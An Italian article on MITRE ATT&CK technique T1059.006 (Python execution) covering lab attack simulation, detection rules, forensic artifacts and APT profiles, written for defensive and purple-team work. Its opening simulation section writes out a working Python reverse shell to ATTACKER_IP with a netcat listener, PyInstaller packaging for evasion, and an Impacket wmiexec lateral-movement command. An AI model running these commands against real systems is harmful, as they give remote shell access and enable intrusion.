Esecuzione via Python: Command and Scripting Interpreter — Python (T1059.006)

La simulazione di T1059.006 in laboratorio richiede di riprodurre le stesse catene operative osservate in campagne reali: delivery di uno script Python, esecuzione con librerie built-in, connessione C2 e lateral movement. L'obiettivo è verificare che i controlli EDR, application whitelisting e log auditing reagiscano correttamente.

Reverse shell Python nativa. La catena più elementare e più documentata — usata durante Cutting Edge con il modulo pty e durante ShadowRay — è la reverse shell costruita con le sole librerie standard. In laboratorio, sul sistema target Linux:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Sul lato attaccante basta un listener Netcat (open source): nc -lvnp 4444. Questa sequenza testa il rilevamento dell'esecuzione di Python con connessione outbound immediata — esattamente lo scenario coperto dall'analisi AN0174 su Linux.

Compilazione con PyInstaller. Gruppi come Machete e gli attori di Operation Wocao distribuiscono payload Python compilati in binari standalone per evitare la dipendenza dall'interprete sul target. Per simulare:

pip install pyinstaller pyinstaller --onefile --noconsole reverse_shell.py

Il binario risultante non mostrerà python.exe nella process tree, testando la capacità dell'EDR di identificare artefatti PyInstaller (cartella _MEIxxxxxx in %TEMP% su Windows, /tmp/_MEI* su Linux).

Impacket wmiexec.py per lateral movement. Cinnamon Tempest ha usato una versione personalizzata di questo modulo. Il framework Impacket (open source) permette di replicare la tecnica:

python3 wmiexec.py DOMAIN/user:password@TARGET_IP

Questo genera esecuzione remota via WMI e permette di verificare la detection di processi figli anomali di wmiprvse.exe.

SOCKS proxy con PySoxy. Gli attori di Cutting Edge hanno impiegato PySoxy come proxy SOCKS5. In lab si può usare il package Python omonimo per creare un tunnel e verificare che il traffico SOCKS venga intercettato dai controlli di rete.

Web shell Python. Per replicare lo scenario FRAMESTING o reGeorg, si può deployare una web shell Python minimale su un web server di test e verificare la detection tramite file integrity monitoring e analisi dei log HTTP per pattern di command execution.

Ogni test va eseguito in ambiente isolato. Il framework Atomic Red Team (open source) include test atomici per T1059.006 che automatizzano parte di questi scenari e producono telemetria confrontabile con le detection rule attese.

La detection di Python malevolo è insidiosa perché Python è legittimo in molti ambienti — data science, DevOps, automazione. La chiave è la correlazione contestuale: non cercare "python.exe" ma cercare Python dove non dovrebbe essere, lanciato da chi non dovrebbe, che fa cose che non dovrebbe fare.

Log source critici e cosa monitorare. Su Windows, Sysmon è il pilastro. L'EventCode 1 (Process Create) cattura l'intera command line di python.exe o py.exe, il processo padre e l'utente. La detection AN0172 è chiara: il segnale più forte è la parent lineage anomala. Un python.exe figlio di winword.exe, mshta.exe o wscript.exe è quasi certamente malevolo. Configura una regola Sigma o una query nel SIEM che filtri per ParentImage contenente processi Office o LOLBAS che generano python.

Su macOS, i Unified Log tramite OSQuery (open source) permettono di monitorare l'esecuzione di Python da percorsi sospetti. L'analisi AN0173 evidenzia tre directory critiche: ~/Downloads/, /Volumes/ e /tmp/. Una query OSQuery periodica che verifichi processi Python lanciati da queste path offre un alert a basso rumore.

Su Linux, auditd è essenziale. Configura una regola audit per intercettare le execve di python:

-a always,exit -F arch=b64 -S execve -F path=/usr/bin/python3 -k python_exec

L'analisi AN0174 sottolinea tre scenari ad alta fedeltà: Python da cron job non approvati, Python che accede a /proc/*/maps (possibile injection), e Python con connessioni HTTP/HTTPS non correlate a package manager.

Su ESXi — ambiente dove UNC3886 ha operato con VIRTUALPITA e VIRTUALPIE — i log vobd e hostd sono le fonti primarie. Cerca esecuzioni Python da percorsi non standard come /tmp/python/bin/python3 o script caricati via datastore mount (AN0175).

Gestione dei falsi positivi. L'approccio più efficace è la creazione di una allowlist contestuale: censisci gli utenti, i percorsi e gli orari in cui Python è legittimamente usato nel tuo ambiente. Tutto ciò che esce da questa baseline diventa alertabile. I criteri di tuning più efficaci sono:

• Escludere i service account noti dei tool di automazione (Ansible, SaltStack)
• Whitelistare i percorsi di installazione ufficiali e i virtual environment approvati
• Correlare con l'orario: esecuzioni Python notturne o nei weekend meritano priorità più alta
• Monitorare i processi figli di Python: se Python genera powershell.exe, certutil.exe, curl o bash in catena, la confidenza dell'alert sale drasticamente

Un alert maturo per questa tecnica non è "python.exe è stato eseguito" ma "python.exe è stato eseguito da un utente non-developer, da %TEMP%, fuori orario lavorativo, e ha generato una connessione outbound sulla porta 443".

L'analisi forense di un'intrusione basata su Python richiede di ricostruire tre elementi: l'arrivo dello script o del binario compilato, la sua esecuzione, e le azioni successive. Gli artefatti variano sensibilmente tra piattaforme.

Windows — artefatti chiave. Il punto di partenza è la Prefetch: il file PYTHON.EXE-{hash}.pf o PY.EXE-{hash}.pf in C:\Windows\Prefetch registra timestamp di prima e ultima esecuzione, numero di run e file referenziati. Se l'attaccante ha usato PyInstaller — come documentato per DropBook e per gli attori di Operation Wocao con py2exe — cerca cartelle temporanee _MEIxxxxxx sotto %TEMP%: PyInstaller estrae qui i file durante l'esecuzione e spesso lascia residui anche dopo la chiusura del processo.

L'Amcache (C:\Windows\appcompat\Programs\Amcache.hve) registra i binari eseguiti con hash SHA1, percorso e timestamp. Shimcache (AppCompatCache nel registry SYSTEM) conferma l'esecuzione anche se Prefetch è disabilitato. Per entrambi, il tool AmcacheParser di Eric Zimmerman (open source) è lo standard:

AmcacheParser.exe -f C:\Windows\appcompat\Programs\Amcache.hve --csv C:\output

I log Sysmon EventCode 1 forniscono la command line completa, il processo padre e l'integrità dell'hash. Se l'attaccante ha usato Impacket wmiexec.py — come Cinnamon Tempest — cerca processi cmd.exe figli di wmiprvse.exe con output file rinominati, e correla con EventCode 3 (Network Connection) per le connessioni SMB sulla porta 445, scenario documentato anche per RedCurl.

Linux — artefatti chiave. I log auditd con syscall execve registrano l'intera riga di comando. Il file .bash_history (o equivalente per la shell usata) può contenere invocazioni Python dirette. Per reverse shell via modulo pty — come in ShadowRay e Cutting Edge — cerca nei log di rete connessioni outbound anomale originate da processi Python, correlando con i record utmp/wtmp per identificare sessioni.

Su sistemi con il framework Ray compromessi (campagna ShadowRay), verifica i log applicativi del framework per richieste anomale sulla porta di dashboard (CVE-2023-48022) e la presenza di script Python in directory temporanee.

ESXi — artefatti specifici. Per le operazioni di UNC3886, i file di log vobd.log e hostd.log registrano attività sospette. Cerca installazioni Python custom in /tmp/ e script caricati via SSH o montaggio datastore. VIRTUALPITA e VIRTUALPIE lasciano tracce nei processi persistenti e nelle modifiche ai file di configurazione dell'hypervisor.

macOS. I database Unified Log interrogabili con log show catturano l'esecuzione di Python. Il database KnowledgeC e i Quarantine Event (com.apple.quarantine xattr) possono rivelare se lo script è stato scaricato da Internet — particolarmente rilevante per malware come CookieMiner e Bundlore che usano Python su macOS.

La timeline va costruita correlando tutti questi artefatti in ordine cronologico, partendo dall'arrivo del payload fino all'ultima attività osservata, usando un tool come Plaso/log2timeline (open source) per normalizzare i timestamp da fonti eterogenee.

Con 17 gruppi APT che impiegano Python per l'esecuzione, questa tecnica attraversa tutti i principali cluster geopolitici e motivazionali. Vediamo i profili più significativi.

APT29 — Il gruppo russo ha sviluppato varianti malware scritte interamente in Python. La loro adozione di Python si inserisce in un toolkit estremamente diversificato, dove il linguaggio viene scelto per la rapidità di sviluppo e la facilità di offuscamento. Monitorare l'overlap con tool come Cobalt Strike, anch'esso associato a T1059.006, permette di costruire cluster di attribuzione più robusti.

Turla — Altro attore russo di primo piano, ha adottato un approccio più sofisticato usando IronPython come parte della toolchain IronNetInjector. Questa scelta è significativa: IronPython gira nel runtime .NET, consentendo l'esecuzione di codice Python senza che python.exe appaia nella process tree — una tecnica di evasione che complica la detection basata su process monitoring. L'analista TI dovrebbe cercare indicatori di IronPython (assembly IronPython.dll, Microsoft.Scripting.dll) come proxy per attività Turla.

UNC3886 — Questo gruppo focalizzato su ambienti di virtualizzazione ha usato script Python per enumerare host ESXi e virtual machine guest, deployando backdoor come VIRTUALPITA e VIRTUALPIE. Il targeting di hypervisor rappresenta un trend in crescita: chi controlla l'ESXi controlla tutte le VM. Le campagne Cutting Edge confermano questa direttrice, con lo sfruttamento di appliance VPN Ivanti e l'uso di reverse shell Python e web shell come FRAMESTING.

Contagious Interview — Gruppo legato all'ecosistema nordcoreano, utilizza il malware InvisibleFerret scritto in Python per installare pacchetti e moduli Python aggiuntivi dopo la compromissione iniziale. Questo schema di "Python che scarica altro Python" è un pattern ricorrente anche in Machete, il cui backdoor principale è interamente scritto nel linguaggio, e in Chaes, che usa script Python per installazione progressiva di componenti.

Pattern trasversali. L'analisi delle 4 campagne rivela una polarizzazione interessante. Da un lato, campagne di espionage come Operation Wocao (C0014) e Cutting Edge (C0029) — entrambe con nexus cinese — privilegiano backdoor Python compilate e web shell, puntando a persistenza discreta su infrastrutture critiche. Dall'altro, campagne finanziarie come Salesforce Data Exfiltration (C0059) usano Python per applicazioni custom di data theft, con un ciclo di vita più breve e aggressivo. ShadowRay (C0045) introduce una terza direttrice: lo sfruttamento di framework AI come vettore d'accesso, con Python usato per reverse shell via modulo pty — un segnale che le infrastrutture ML/AI stanno entrando nel mirino.

Il trend più rilevante per il prossimo periodo è la convergenza tra Python e ambienti non tradizionali: hypervisor, appliance di rete e infrastrutture AI. I gruppi più avanzati — UNC3886, gli attori di Cutting Edge — dimostrano che Python è il linguaggio d'elezione per operare dove gli EDR tradizionali non arrivano.

Framework MITRE ATT&CK v16 — T1059.006 (Python), TA0002 (Execution). Campagne: C0059 (Salesforce Data Exfiltration), C0014 (Operation Wocao), C0029 (Cutting Edge), C0045 (ShadowRay). Detection: DET0063, analisi AN0172–AN0175. Tool di detection: Sysmon, auditd, OSQuery, AmcacheParser, Plaso/log2timeline, Atomic Red Team. Integrato con conoscenza professionale per tool e procedure operative.